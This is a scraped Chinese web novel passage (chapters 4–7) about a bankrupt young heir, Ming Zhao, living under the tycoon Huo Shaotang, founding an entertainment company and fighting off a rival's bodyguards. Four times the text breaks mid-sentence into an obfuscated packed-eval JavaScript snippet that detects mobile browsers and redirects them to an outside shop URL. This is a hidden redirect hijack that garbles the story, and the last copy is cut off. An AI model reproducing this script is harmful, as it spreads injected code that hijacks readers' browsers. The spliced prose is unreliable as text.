明昭挑了一辆车库比较低调的法拉利,他拒绝了司机送他去上课的请求,油门一踩飞快从车库内驶出。 选报专业时,明昭报了个对他来说没什么用的哲学专业。他正在准备转专业,已经跟学院提交了申请。 还以为昨晚被自己揍了一顿,陈越指定会来学校堵他,没想到竟然没有,明昭还有点意外。 上完课明昭立即驱车回云锦华庭,看到他回来得这么早,曾达似乎还有点惊讶,以为明昭这个年纪的青年人不玩到凌晨不会回来。 明昭将车钥匙抛给他,然后让他给自己弄个书房。边抬步走到二楼衣帽间从他的行李箱里翻出他的笔记本电脑。 没有明昭的许可,佣人们都极懂分寸地没有打开他行李箱。 明昭盘腿坐在地上,将笔记本放在腿上。 今天下午三点,他12年的卖身款都打到了他的账户上。 不知道霍少棠是多有自信,连个合同也没有签,直接给他打钱也不怕他卷款跑路。 想来他也是不怕,两个人权势天差地别,明昭估计自己刚有逃跑的念头就被人抓回来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193846|197116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>明昭对着电脑上的表格,把这些钱一一打到各个不同的账户上。 表格上列了几千个银行账户,明昭弄了三个多小时,才勉强给几百个账户打了钱。 临到金乌西坠,灯火再次通明,明昭对门口的佣人应了一声,关掉电脑起身去吃晚饭。 霍少棠已经坐在餐桌前,明昭在他身边坐下,霍少棠又像今天上午一样摸了摸他的脑袋,捏了捏他的脸。 哈,这人还真是把自己当宠物猫养了。 明昭有些不爽。 但想到今天账户上打过来的那几十个亿还是忍了,他闷头吃饭,只当作霍少棠在给他做按摩。 霍少棠收回手,没忍住笑了笑。 到底还是年轻人,那点不高兴都摆在脸上。 吃完饭,霍少棠进书房处理工作,明昭跟在他身后一起走了进去。 霍少棠抬了抬眉:“有事?你嫌无聊可以出去玩,不用陪我,晚上记得回家。” “有事。”明昭跟着他走到书桌前,一屁股坐在他面前的书桌上,“你忙吗?” “要安排明天的一点工作,半个小时。” 明昭做了个请的手势,转身坐在他身后的沙发上。 明昭刷了半个小时的影视解说,霍少棠果然到点就放下鼠标,侧脸对明昭道:“什么事?” 明昭看了他两眼,指了指自己旁边的沙发:“你能不能过来,我懒得搬椅子过去。” 霍少棠没动:“就这么说。” “不要,你坐过来。” 霍少棠看了他两秒,走过去靠着另一边沙发坐下,又抬手让明昭坐过来。 没有沙发扶手靠着,明昭不是很乐意,但还是坐了过去。 霍少棠一只手放在明昭的沙发靠背上,半圈着明昭,他似乎真的在玩弄一只宠物,一只手娴熟地揉弄明昭的耳垂:“说吧。” “我想开一家公司。”明昭道。 霍少棠挑了挑眉:“继续说。” 明昭摊了摊手:“没了,我不知道开什么公司,不知道公司的管理架构,也不知道该怎么运营一个公司。” 纨绔得理直气壮。 霍家家大业大、枝繁叶茂,霍少棠光是自己同父异母的兄弟姐妹就有七个,更别提旁支的人口数量。 霍少棠23岁从他爹霍潭手上接过董事长和霍家掌权人的位置,至今7年。他已经7年没见过有小辈敢在他面前表现得这么不学无术。 不学无术也就算了,还好意思说出来。 但小猫毕竟是小猫。 想一出是一出是少年人的天性。 霍少棠不轻不重地一下下捏着他的后脖颈:“那你想怎么办?我可以给你找几个管理课程的教授。” “教授可以找,”明昭道,“但我不想等我学完课之后才开公司。” 霍少棠几乎要被他的天真的话逗笑了:“你现在可以开个打印店。” 明昭:“……” 他是个不学无术的纨绔子弟不错,但从来也没有人敢明明张胆地瞧不起他的能力,谁见了他都要捧着他说他一表人才、人中龙凤。 话里话外,似乎他不去当总统都算屈才了。 明昭手指敲了敲手机黑下去的屏幕,有些不满霍少棠的话:“我要开大公司,不是做个体工商户。” 霍少棠没管他这点小打小闹的小情绪,慢条斯理道:“你什么都不懂怎么开。” 明昭找他之前就明白自己此行的目的,此时他手撑在霍少棠的大腿上,冲他笑了笑:“你帮我。” 5. 第 5 章 明昭惯常面无表情,罕见的笑容便更加难得,一笑如玉山倾颓,利落深刻的五官线条都生动起来,皎若夜月照琼林,灿若晨霞映珠浦。 人间颜色如尘土。 这人还真的机灵,清楚明白自己长了一张漂亮逼人的脸,又十分懂得如何利用这张脸。 霍少棠突然轻笑,随即面无表情地看着明昭:“你胆子真的很大,到这儿的时间没到24个小时已经敢使唤我了。” 明昭用实际行动证明他胆子真的很大。 他突然靠近霍少棠,鼻尖贴着他的脸靠近他,轻佻地摸着他凸出的喉结,毫无畏惧之色眼睛看着霍少棠:“所以你要不要帮我呢。” 方才的笑容过去,只留下纤薄的笑意,明昭恢复了以往锋锐逼人的神情。 贴近霍少棠时像锋利的、泛着冰凉质感的透明玻璃。 霍少棠抚上他眼皮上的小痣,指腹缓慢往下碰到他的颧骨、鼻梁,然后捏住他的下巴抬起他的脸。 像观赏一件精致的古董花瓶,霍少棠幽深的眼神对着他脸看了几秒钟。 不得不承认这张脸实在漂亮,他也实在喜欢。 他指腹时轻时重地刮着明昭纤长浓密的眼睫,一边慢条斯理地开口:“你有没有一点方向,对什么感兴趣。” 明昭半靠着沙发上:“开个影视或者娱乐公司怎么样?” 霍少棠不置可否:“我明天让几个熟悉娱乐圈的职业经理人给你拟一个可行性方案。” 霍少棠在家里有一个专门的大会议室,但他向来奉行高效率办公,除了身边常常带着出差应酬的秘书之外,他不提倡加班工作,家里布置的会议室多数用于海外会议。 倒是方便了明昭,明昭让佣人将登门的职业经理人们带至会议室。 明昭不喜欢穿正装,他打小居高自傲,从来不屑于用服装装扮自己令自己看起来靠谱。 会议室的门被打开,坐在桌边的经理人们纷纷转头看向来人。过于年轻的青年人,未经过打理的头发柔顺地垂着,穿着简单的白色T恤和短裤,脚下镫着一双极其居家的拖鞋。 和一圈西装革履的精英们格格不入。 唯一和娱乐圈这一张沾边的,大概是他长了一张和这一行十分相合的漂亮皮囊。 如果不是明昭走进会议室便径直拉开最上首的椅子坐下,他们大概会开心地感慨霍少棠找到了一张肯定会大火的漂亮脸蛋。 但他们今天是拿着商业计划书登门的! 一行人花了好几天时间弄好了计划书,面对的竟然是这么年轻的一个少年,即便知道不应该瞧不起年轻人,但这人从外表看起来实在没有什么靠谱的地方。 等明昭做完自我介绍,一行人都有些惊讶地看着他。 明昭,不是明氏地产的大少爷吗?! 明家还没破产前几乎不掺和娱乐圈的事,不过偶尔投资过几部影片,有亏有赚。 他们虽然没见过明昭,但明家名头太过响亮,这位大少爷的大名当然也有所耳闻,但全是其嚣张狂妄又不学无术的传闻。 明大少爷是纨绔中的纨绔,其中闹得最大的新闻是喝醉酒把千万豪车开到沟里,大概大少爷嫌这事儿确实不太好看,热搜登了几个小时立刻被紧急撤下。 但他们今天明明来的是霍家,明大少爷什么时候又攀上了霍少棠?! 一行人既震惊又复杂地看向明昭。 明昭对他们的视线视而不见,敲了敲桌子让他们轮流讲计划方案。 明昭很安静,甚至有些过分放松,懒洋洋地半坐在椅子上,全程偶尔动手记记笔记,几乎没问过几个问题。 众人看着大少爷的状态,只觉得传闻果然不假。 等所有人讲完,众人临走前明昭给每个人包了几万块钱的小费。虽说他们来之前霍少棠肯定付过报酬,但明昭既然打算往娱乐圈发展,和他们打好关系总没错。 让佣人将一行人送走,明昭又吩咐曾达到地下车库。 杨修岳重新打开会议室的门,看到明昭仍在原地懒散地坐着,比方才更加不羁得多——光着一只脚踩在椅子上,没长颈椎一样下巴撑着膝盖。 看到他进来懒懒地打了一个招呼,手上的笔转过一圈,笔尖点了点最近他旁边的一个位置:“坐。” 杨修岳在他旁边坐下,笑了笑:“明少爷有什么吩咐?” 明昭指尖按住他放在面前的商业计划书:“给我看看?” “请便。”杨修岳做了个请的手势。 明昭拿起他的计划书翻了翻,他翻得很快,让杨修岳怀疑他到底能不能看清字。 明昭一本计划书翻到底,脚放下来,微微倾身靠近杨修岳:“我对你的方案很感兴趣。” “哦?”杨修岳礼貌地应了一声。 明昭看他装模作样的样子有些没趣,又倚回椅子里,开门见山道:“我打算成立一个娱乐公司,你的计划和我想法很像。” 杨修岳佯作惊讶道:“您准备开公司?” 明昭在心里翻了白眼,脸上没有任何表情道:“不然我今天让你们来玩过家家吗。” 杨修岳笑了笑:“明少爷的意思是?” “你现在做什么工作?做我合伙人怎么样,你负责公司管理。”明昭道。 挖墙脚真是挖得光明磊落,杨修岳难得被噎住,不过他目前不需要挖墙脚:“我刚从上一家企业离职,目前待业。” “那岂不是正好。”明昭抬眼看向他。 杨修岳仍旧没有说话。 明昭笑了笑道:“放心,你的月薪肯定会比上一家企业丰厚。” “明少爷,我相信你肯定能开一笔不菲的月薪,”杨修岳总算开口道,“但开公司不是一件简单的事,恕我说话不好听,如果公司撑不了多久……” 他话停了停。 明家破产后所有账户被冻结,动产不动产都被法拍变现,资金全部打到债权人的账户上。明添宏都走投无路跳楼了,明昭这个大少爷倒是还有钱开公司。 不知道怎么攀上霍少棠这棵大树,但确实有点本事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193847|197116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过杨修岳不知道他的本事是不是也能在商场发挥作用。 公司开个几年破产了,明昭大可继续靠着霍少棠挥金如土,这位霍爷的财产足够明大少爷挥霍几辈子还有余,但他浪费的可是好几年的青春。 “我要继续在这一行干,恐怕对我的履历没什么助力。”杨修岳看出明昭不耐烦场面,难得同样开门见山。 何止没什么助力,一个把企业经营破产的职业经理人还有什么前途。如果能在公司经营期间做出什么成就也就罢了,但怕就怕在平淡的成立一家公司,然后又平淡的破产。 这些富二代向来喜欢指手画脚,又爱独断专行,在他们手底下干活不仅要工作干得好还得跟兼职幼师学会哄孩子的哄他们。 完全的吃力不讨好,公司破产了责任还要赖经理人头上。 他见过太多富二代创业败光家产的,那些富二代创业前在商场上的名声都比明昭好得多,都栽了,他实在不敢相信这个素来顶着纨绔名头的明家大少爷。 明昭转了转笔,抬起眼看着他:“30%的股份呢?” “……” 杨修岳仍旧沉默。 明昭笑了笑道:“杨经理,我很信任你的才华,但你进大公司恐怕要干上十多年才能拿到30%的股份,或许更久,而我现在就可以给你。公司的经营方向你来把控,我不会做外行人指导内行的事。” 他转了转笔继续慢条斯理道:“而且你也看到了,明家破产了我现在照样坐在霍家的会议室里,霍少棠让你们拟了计划书送到我跟前。我和霍少棠之间至少三十年内不会散伙,背靠霍氏你何必预设自己惨淡的未来?你不相信我还不相信霍少棠吗?” 杨修岳摩挲着自己的计划书,确实不可避免的有些动摇。霍氏根深树大,产业涉及方方面面,更是互联网行业的龙头,这对娱乐公司简直是最大的助力。 除了企业运营,霍少棠在投资上更是独具慧眼。 杨修岳不清楚霍少棠和明昭的关系,但总不会是金主和情人的关系,霍少棠向来洁身自好,他可从没听闻过他身边养过什么莺莺燕燕。 就算这位大佬真的养了小情人,这种满眼都是利益的人恐怕也不会儿戏一般的大做周章让那么多个声名斐然的职业经理人拿着计划书上门,就为博美人一笑。 烽火戏诸侯的周幽王做不了霍氏的掌权人。 恐怕他和明昭之间有什么利益牵连,才能让明昭信誓旦旦地扬言公司会有霍氏在背后撑腰,又信誓旦旦地保证两个人30年不会散伙。 杨修岳对明昭笑了笑,道:“传言对我们这一行来说,是最不可信的。我当然不会真的以为明少爷像传闻那样……不过,这件事您还是需要再考虑考虑,我当然是很乐意和您一起工作,不过为了避免您后悔,您还是应该再深思熟虑。” 明昭讨厌跟生意人打交道就在于此,明明是他需要考虑,还一副冠冕堂皇为自己着想的样子。 不过他确实觉得杨修岳不错,开口道:“三天之后,你愿意的话就给我答复。” 6. 第 6 章 三十年的不散伙的鬼话当然是明昭瞎扯骗杨修岳的,不拿根萝卜在他面前吊着,这人怎么肯给自己打工。 霍少棠回家时,夕阳的余晖镀在泳池泛起的浪花上,明昭正在游泳。 明昭身形修长,体态舒展,水流仿佛都格外偏爱他,任他轻盈的水中随心所欲,绷起的肌肉线条都赏心悦目。 霍少棠站在泳池边欣赏了好一会儿美人,美人方才游到岸边,掀开泳镜,两手搭着泳池边,支使金主:“我饮料喝完了,你来得正好,帮我拿一杯新的过来。” 他手机就在边上,但懒得擦手去打电话叫佣人拿饮料过来。 霍少棠同样懒得动,在旁边的椅子上坐下,打电话叫佣人送了两杯饮料过来。 明昭啧了一声:“真懒。” 然后转身戴上泳镜,游进水里。 等佣人端过来两杯饮料,明昭方才慢悠悠地从水里冒出头。 他水淋淋地踏上岸边,水珠划过他修长的身体,随意裹上挂在旁边的浴巾,明昭一屁股坐在霍少棠旁边的椅子上。 狠狠灌了几口饮料。 霍少棠眯着眼看了他一会儿,道:“心情不错?” 明昭“昂”了一声。 “哦?看上了谁的方案。”霍少棠问道。 明昭放空地咬着吸管,声音含混道:“猜猜?” 霍少棠回忆了一下秘书递上的经理人名单:“杨修岳么。” 明昭转过头看了他一眼,挑了挑眉:“你看过计划书了?” “翻了翻。”霍少棠慢悠悠道,“杨修岳很年轻,并不是个安分的人,你怎么说服他的?” 明昭放下饮料,抻了抻腰:“我有的是办法。” 狐假虎威谁还不会了? 明昭有一把好嗓子,音色清亮若玉石相击,带着他特有的冷淡,现在这句话里有含着一点儿几乎听不出的得意。 像是抖弄漂亮尾羽的骄傲孔雀。 霍少棠轻笑,舌尖抵住上颚发出含糊的尾音:“小猫。” 明昭对他的评价充耳不闻,趿拉着拖鞋往别墅里走:“吃饭。” 三天之后,明昭收到了杨修岳一篇长篇的小作文回复,明昭扫了一眼第一句很荣幸能和他合作,后面几百字的客套话看也没看,直接跟他约了去餐厅详谈公司的发展规划。 收拾好背包,明昭从学校图书馆往停车场走,快走到停车场,他脚步突然停下,眯起眼看向挡在前面的几个人。 “明少好久不见啊。” 明昭单手插着兜,语气吊儿郎当:“打你打轻了,还能让你再见到我。” 被戳到痛处,吴正熙神色骤然狠厉下来:“没事儿,我会让你再也见不到我。” 明昭笑了一声:“哦?” 脸上满是不屑,居高临下的表情似乎在看路边一条讨食的狗。 吴正熙最厌恶的就是明昭这副嚣张傲慢的样子,犹记得当年第一面见到明昭,是一场牌局,他跟着表兄前往那场往常他无法参与的宴会。 表兄跟他介绍,最众星捧月的那一位就是明家大少爷明昭。 表兄口中的主人公懒懒跷着二郎腿,旁边一个人一边看牌,一边凑在大少爷耳边说话,似乎在给他出主意。 大少爷随意嗯了一声,听从旁边人的主意加注。 牌一开,大少爷输了,赢了的人笑着走过来要揽住大少爷的肩膀:“手有点臭啊今天。” 大少爷轻笑着踹了他一脚,没让他碰:“滚。” 又拿起手边的牌拍了拍旁边的人:“出的什么馊主意,会不会打牌。” 明明是自己不会打牌,输了怪的却是旁边的人,都说明家大少爷家大业大脾气也大,吴正熙暗想,果然不错。 就是这样旁边的人也没生气,反而大笑起来:“不就一辆车嘛,昭儿这么小气干嘛,叫声爸爸,这辆车爸给你出了。” “滚。没你这么不中用的爹。”大少爷敲了敲桌子,“下一局。” 然后那双漂亮的凤眼从旁边人扫过:“卓子,这场再输,你就以死谢罪。” 之后吴正熙看着大少爷输了一场又一场,浓艳的脸变得冷艳起来,锋利不可逼视。 最后一场结束,大少爷把手上的牌甩在桌上:“操,卓子你今晚克我,我得请个大师给你驱驱邪。” “先给你的烂手去去晦气,”叫卓子的人跟着大少爷站起来,“幸运女神不眷顾你,啧啧。” 大少爷傲慢地哼了一声,十分不屑的样子:“那是幸运女神睡着了。 大少爷打了个哈欠:“困了,睡觉去。” 大少爷一抬步,满屋子的人纷纷跟着动了起来,跟着大少爷往外走。 明昭如明珠,满身金贵的公子哥们在他身边也只是陪衬的命,吴正熙陪站了一晚上,连大少爷一个眼神都没分到。 此后每一次,遇到明昭,他都像第一次见面那样永远是人群的中心,就算是揍人也是一副高高在上的样子,傲慢嚣张。 有人屈服在大少爷的拳头之下,有人低头于大少爷的显赫家世,无数人趴在大少爷脚边给他当狗,恨不能帮大少爷把鞋上的灰尘都舔干净,极尽谄媚之能事。 吴正熙看着明昭那张艳丽逼人的脸,容貌依旧,富贵却不复往昔矣。 “今天跪在地上求我的会是你!”吴正熙朝身后的人眼神示意,跟着的四个保镖收到他的信号,抬步上前。 明昭转了转脖子,将背上的背包扔在地上。 一个保镖猛然上前抓住明昭的手腕,明昭冷笑一声,抬脚踹上他脐下三寸,趁着他弯腰,手肘抬起狠狠往他脖颈上一捶! 余光撇向往后边来的另一个保镖,半转过身将身前的人推向他!两个人骤然半倒在一起,明昭又抬腿踢向旁边的偷袭的另一个保镖,保镖侧身避开他的飞踢,又立即欺身而上,往明昭肋下狠狠砸了两拳! 明昭就地一滚,从地上摸了一块旁边花坛里石头,逼上保镖往他后脑勺用力砸下,那人顿时血流如注。 这位曾经目中无人的大少爷,可能也知道自己惹的人不少,估计是为了防止夜黑风高被人套麻袋,跆拳道练到了黑带。 下手毫不留情。 但毕竟双拳难敌八手,明昭还是渐渐落了下风。 又被人打了一拳后,明昭吐出口里的血,舌头碰了碰被打得摇摇欲坠的牙齿,疼得他险些控制不住脸上的表情。 但此人十分好面,脑袋能掉脸皮也不能掉,落魄至此也没让人看到自己龇牙咧嘴的一面。 于是在众人眼中,明昭半边脸被打得印出红痕,却还偏头笑了笑,配合着他唇角的血迹,看起来有些渗人。 明昭露在外面的皮肤没有几块还是好的,衣服之下恐怕受的伤不比能看到的轻,打手听说明昭曾经个公子哥,下手没轻没重倒是很符合富二代的脾性,打起来这么不要命却像个亡命之徒,他罕见碰到这么棘手的刺头。 可毕竟曾经是个少爷。 打手抓住明昭动作的一个凝滞,一脚将明昭踹翻在地。 吴正熙见明昭倒下,上前几步站在明昭跟前:“呵呵,大名鼎鼎的小霸王也不过如此嘛。” 打手还没来得及让吴正熙先别靠近明昭,吴正熙已经抬脚踩上明昭的小腿。 亮光一闪而过,方才还倒在地上的明昭在所有人还没反应过来的时候已经翻身而起,一条腿压在吴正熙身前,手里不知道什么攥了一片薄薄的刀片压在吴正熙颈边。 他抬眼制住打手的脚步:“你再多上前一步,我不知道他这条命还保不保得住。” 吴正熙怒视明昭,咬牙切齿:“你敢?” 明昭伸手拍了拍他的头:“我敢不敢你不是最清楚?记性这么差啊,好了伤疤忘了疼。” 上次在六观庭灯光昏暗,明昭这回总算看清吴正熙的脸, 他脸上浮起疑惑,有点不解:“我和你有过什么过节吗?” 吴正熙的脸平平无奇,丑得奇特些的明昭或许还会记住,可这个人就连丑都丑得没有任何特点,简直一无是处,明昭甚至都不知道这人姓甚名谁。 他搜索枯肠也没回忆起来。 吴正熙怒火被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193848|197116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句话又猛蹿三丈高,眼睛红得近乎滴血。 他咬牙切齿:“云泰马场。” 明昭眨了眨眼,有点记忆了,他在云泰马场发生过的一次“冲突”,其实在明昭看来甚至不能算是冲突,不过看吴正熙这么怒火中烧,而且似乎还记忆犹深的样子,就姑且称之为冲突好了。 他极少去云泰马场,那次去是被几个刚认识的新朋友叫上,新朋友们大概是怕明昭玩得不开心,呼朋引伴又叫了很多人,人叫人,以至于把吴正熙也叫了过来。 吴正熙骑术不怎么样,马不顺从他的管教,将他摔了下来,“砰”的一声,周围人纷纷往他身上看去,旁边的教练蹲下准备将扶他起来:“吴少爷您没事吧?我给您叫医生……” 然而话音没落,就被吴正熙甩了一巴掌,束起的长发被打落,左脸高高肿起,吴正熙怒骂:“你怎么当的教练,不行就滚蛋!” 一瞬间,马场只有呼呼的风声、响亮的巴掌,和吴正熙气急败坏的怒骂。 教练被他一巴掌打蒙了,她捂着脸,生理性泪水从眼眶滑落,咬紧了牙,却又不得不对富贵有加的客户道歉:“是我不好,请您原谅。” 明昭骑着马过来,轻巧从马上跳下,几步走到两个人旁边。 其余人看大少爷动了,也纷纷跟着凑过去。 明昭单手扶起教练,瞥了吴正熙一眼:“刚才选马的时候,教练提醒你了这马烈,你自己偏要选,没金刚钻还要揽瓷器活。” 今天来的都是有权有势的少爷,对于这些尊贵的少爷们,教练可以提建议,但无权替他们做决定。教练已经尽量教导吴正熙,然而这位富二代偏偏一意孤行。 明昭摆摆手让教练下去看伤,然后半弯腰看着吴正熙,啧了一声:“我看你不太顺眼。” 下一秒,在众人还没有反应过来的时候,“啪”的一声,鲜红的掌印浮现在吴正熙脸上。 一众人等,反应不一。 熟悉明昭的,还算平静,知道他就是这样随心所欲的性子,千金难买他乐意。和明昭接触不多的,纷纷目露震惊,明大少爷还真的是嚣张傲慢,为了一个马场的教练轻轻松松就把一个公子哥打了。 随后在众人各异的眼神中,这位大少爷甩了甩手,漫不经心道:“累了,今天就到这儿吧。” 哪有人不应和答是,纷纷跟在他身后行动。明昭牵过马准备离去,又突然转头看了吴正熙一眼:“不要找教练麻烦哦,不然我会看你更不顺眼。我打了你,欢迎来找我。” 吴正熙当然明白,今天有明昭这句话,他要找教训那个该死的教练,第二天消息就能传到明昭耳中。 这位大少爷不会记得这点小事,但总有想讨大少爷欢心的人会替大少爷记着。 “记起来了吗?明大少爷!大少爷当时可真威风。”吴正熙愤恨地看着明昭。 他家虽没有明家有钱有势,但也锦衣玉食,多的是人捧着他,从小到大唯有一个明昭这么嚣张地打过他一巴掌。 还是在这么多人面前,为了一个马场的低等的教练。 他丢尽了脸面,那是他人生中最大的耻辱。 明昭挑了挑眉:“记起来了,那又怎么样,打了就是打了。当时看你不顺眼,现在也是。” 他手上的刀片说着往吴正熙脖颈上又凑近了两分,鲜红的血液涌出。 余光撇见有保镖脚步动了动,明昭眨了眨眼:“不要乱动哦,不然我一害怕手一抖,你们老板再受点什么伤就不好了。” 吴正熙怒瞪着明昭:“你想怎么样?” “能怎么样,我赤手空拳的,”明昭不紧不慢道,“让他们离开,你当然就没事了。” 吴正熙沉默了好半晌。 明昭耐心告罄,刀片又压了压:“哑巴了吗?你这条命要不要全在你。” 吴正熙不甘地咬了咬牙,挥手让保镖后退离开。 等到保镖彻底消失不见,明昭才拍了拍裤脚,站起身,冷眼看着捂住伤口的吴正熙。 离开前又朝他胸口踹了一脚:“还是那句话,欢迎来找我。” 7. 第 7 章 也不知道今天点怎么这么背,明昭背着书包走到停车场,迎面遇上他们班辅导员钟盛。 明昭和钟盛八字不合,这人明明当辅导员也当了不少年了,不知道为什么对这个职业还保持着高度热爱。老妈子的程度不像是大学的辅导员,倒像是高中的班主任。 明昭一见到他就犯头疼。 钟盛看到明昭肿起的嘴角,身上乌七八糟的伤痕,眼皮忍不住跳起来。 明昭长得是真的好,一身青青紫紫的痕迹都掩盖不了他的明艳夺目。 越是这样钟盛反倒越加生气,这人得天独厚的条件却这样不珍惜。年轻人往往意识不到自己身上所持有的青春漂亮,喜欢浪费光阴做一些令人叹息的事。 钟盛怒气冲冲拉住脚底准备抹油的明昭:“明昭,你又和人打架!是不是不在牢里蹲几年闲不下来。” 明昭无奈停下,对着钟盛耸了耸肩:“我可没主动,别人要打我,我总不能杵着让他打吧,这不傻子吗。” 钟盛一看到他这混不吝的样子,额上青筋跳了跳。 明昭名头太响亮,从富贵逼人到一无所有不过短短一年光阴。这一年钟盛不知道见过明昭打过多少回架,身上又带了多少次伤。 以前明家还没有破产时,钟盛是懒得管明昭的,打再多的架,明大少爷还是明大少爷,靠着这个身份也没有人敢真的对明昭下死手。 但今时不同往日,明家没了,明昭脾气还是这么傲下去不肯低头,迟早有一天会被人弄死。 再怎么样,也是自己的学生,钟盛无法看着明昭一步步堕入深渊。 明昭无可奈何被钟盛拉到办公室,听了半个小时的“忍”字经。等钟盛停下来,明昭以为总算要结束,暗暗松了口气。没想到钟盛话音一转:“我知道你不爱听,你年轻气盛,我管不了你那就叫你家长过来管。” “我没家长。”明昭皱眉。 钟盛看了他一眼:“你父亲在天之灵不会想看着你这样。” 明昭轻嗤了一声:“他已经死了,看不到。” 钟盛不想跟他打嘴仗,拿起手机拨通了备注着“明昭叔叔”的电话,打开免提。 然后他听到一道更年轻的暴躁声音传过来:“操,哪个王八蛋大半夜吵老子睡觉,不想活了是吧!” 钟盛:“……” 明昭:“……” 钟盛额头青筋狂跳,咬牙切齿看着明昭:“这是你叔叔?” “我是你爷爷!你是哪个孙子吵你爷爷清梦!”电话那头怒不可遏声音又响起。 明昭清了清嗓子,对着电话那头的人道:“卓子,是我。” 电话那头响起一阵窸窣声,再次传过来的声音语调转了一百八十个弯:“昭儿!怎么是你,你换电话了?” “不是,这别人的电话,我打错了,挂了啊。”明昭说着便利落挂断电话,没管电话那头吱哇乱叫的“别挂”。 钟盛被气得面红耳赤,看向明昭的眼睛简直能喷火:“你乱填的什么家长电话?!” 谁能想到上大学了还能被叫家长啊,家长联系方式不就是乱填的吗。明昭毫无悔改之意:“我都说了我没家长。” 他这就是鬼话了,明家虽然就明昭一个独子,但是什么表姑表叔也不是没有。钟盛虽然不清楚他们圈子里的盘根错节的关系,但也是知道明家旁系不会一个人也没有。 他看着明昭,一副今天不叫来家长绝不罢休的姿态。 明昭看了钟盛一会儿,看着这个头发半白的倔老头儿,回想起当初明家刚破产时,他颓靡不振休学了几个月,钟盛提着水果来看他的事儿。 难得生出点尊师重道的良心。 他摆摆手:“行行行,我打行了吧。” 说着,他摸出手机找到联系人拨通电话。 等待接通的间隙,钟盛怒气渐消,问:“这回是谁?别又拿你狐朋狗友来糊弄老师。” 明昭漫不经心地敷衍他:“这回真是我叔。” 电话的铃声停下,传过来一阵嘈杂的脚步声,过了几秒又安静下来,随后一道成熟沉稳的男声响起:“明昭?” 这声音一听就很靠谱。 钟盛的脸色总算好看了,示意明昭把手机拿给他。 明昭边把手机递给他边对着电话那头的人道:“叔,我辅导员找你。” 钟盛将手机放在自己跟前的桌上,看了一眼手机上的备注,“霍st”,开口道:“霍先生,我是明昭的辅导员钟盛。” 电话那头安静了几秒,随后依旧沉稳的声音传过来:“你好,钟老师,请问有什么事情?” “明昭在学校打架了……” 钟盛一句话没说完,电话那头的男人突然出声道:“他受伤了吗?” “脸都被人打肿了!一身的伤。”钟盛说着看向明昭身上挂的彩,又忍不住有些生气。 电话那头的声音又低沉了些,显露些危险的音调:“哦?受伤了,谁打的?” 钟盛叹了口气,觉得这个叔叔似乎和明昭是一类人:“霍先生,这不是和谁打架的问题,是明昭经常打架的问题,就算今天不和这个人打,明天也会和另一个人,他年纪小气性高。这么不肯忍让,难保有朝一日不会惹上大麻烦……” 电话那头的人突然笑了笑,听到他忧心忡忡的话很有礼貌道:“不会有什么大麻烦的,明昭这孩子只是有点小脾气。钟老师,很感谢你对明昭的照顾,我等会儿会去学校接他。” “霍先生,明昭还小不成熟,但你已经是一个大人,作为一个家长,我还是认为你应该重视一下明昭三天两头一身伤的事情。”钟盛严肃道。 电话那头的人应道:“我会重视的。” 钟盛觉得这个家长声音虽然听起来很靠谱,但是说的话一点也不靠谱,似乎对明昭不怎么上心,只将明昭打架是当做小孩子胡闹。 挂掉电话,钟盛把手机递给明昭,有些复杂地看着他。 明家这是一个靠谱的人都找不到了吗? 明昭对他的眼神视而不见,把手机揣回兜里:“老师,我可以走了吧。” 钟盛挥挥手:“走吧走吧,以后别打架了。” 电话又打过来的时候,明昭正走在往停车场的路上,他接通电话:“怎么了?” “我在你们学校门口,你在哪?”电话那头的人问道。 明昭以为他刚才说的来接自己的话只是敷衍钟盛,没想到还真的来了。 他给人微信发了个定位,找个长椅坐下。 过了一会儿,一辆劳斯莱斯停在明昭身前,车门打开,露出坐在后座上西服昂贵考究,面容英俊的男人。 霍少棠上下扫过他露在外面的伤,深邃的双眸冷了几分。 明昭穿着一件灰色长袖圆领卫衣,袖口拉到手肘处,下边一条黑色短裤。露出来的地方布着深浅不一的伤痕。 半边脸肿了,另一边脸颧骨似乎是被人压在地上带出的擦伤,嘴角也破了。 然而即使这么狼狈,脸上仍旧是倨傲冷淡。 明昭走上车,随手将书包扔在中控台上,从旁边的储物槽里拧开一瓶矿泉水,灌了两口。 等他喝完水,发现霍少棠正看着他,见他望过来,抬手碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 